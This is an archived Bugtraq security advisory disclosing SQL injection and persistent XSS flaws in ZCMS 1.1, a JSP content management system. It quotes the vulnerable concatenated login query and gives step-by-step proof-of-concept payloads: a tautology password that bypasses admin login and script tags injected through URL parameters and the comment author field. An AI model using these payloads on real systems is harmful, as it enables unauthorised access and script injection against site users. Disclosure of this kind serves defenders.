bugtraq - ZCMS SQL Injection & Persistent XSS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: Fri, 12 Jun 2015 04:47:55 GMT
From: apparitionsec@...il.com
To: bugtraq@...urityfocus.com
Subject: ZCMS SQL Injection & Persistent XSS

[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-ZCMS0612.txt

Vendor:
=============================================
http://zencherry.com/
http://sourceforge.net/projects/zencherrycms

Product:
==================================================
ZCMS 1.1 JavaServer Pages Content Management System

Advisory Information:
==============================
SQL Injection & Persistent XSS

Vulnerability Details:
======================
SQL Injection:
Login to admin area requires a password but is easily bypassed using classic SQLInjection method because application uses concatenated user input to construct SQL queries.

ZCMS exploitable admin login code:
==================================
squerry="SELECT COUNT(username) AS usercount FROM "+TABLE_PREFIX+"users WHERE
status = 0 AND username = '"+username+"' AND password =
'"+request.getParameter("pass") +"' AND type = 1 ;";

So we just supply an Admin password like --->  HELL' OR '2'='2
which will resolve as true!

SQL Inject XSS Payload:
=======================
We can also inject persisten XSS payload directly to MySQL database subverting
all character filtering leveraging existing SQLInjection vulnerabilities.

Persistent XSS:
===============

Another persistent XSS vector is here in author field for comments:
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page number]

Exploit code(s):
===============

1) Bypass admin login
---------------------
localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=login
Enter 'admin' for username field
Enter HELL' OR '2'='2 for the pass field

2) Inject XSS using SQL Injection
---------------------------------
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=editpost&p=1&title="<script>alert(1)</script>
&content=<script>alert(1)</script>&author=<script>alert(1)</script>
SATAN&visibility=1&type=1&comm=0

3) Persistent XSS field
-----------------------
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page number]
Inject <script>alert(666)</script> in author input field.

Disclosure Timeline:
=========================================================
Vendor Notification: NA
June 12, 2015 : Public Disclosure

Severity Level:
=========================================================
High

Description:
==========================================================

Request Method(s):         [+] GET & POST

Vulnerable Product:        [+] ZCMS_1.1

Vulnerable Parameter(s):   [+] pass, title, content, author

Affected Area(s):          [+] Admin, CMS

===============================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that
it is not altered except by reformatting it, and that due credit is given. Permission is
explicitly given for insertion in vulnerability databases and similar, provided that
due credit is given to the author. The author is not responsible for any misuse of the
information contained herein and prohibits any malicious use of all security related
information or exploits by the author or elsewhere.

(hyp3rlinx)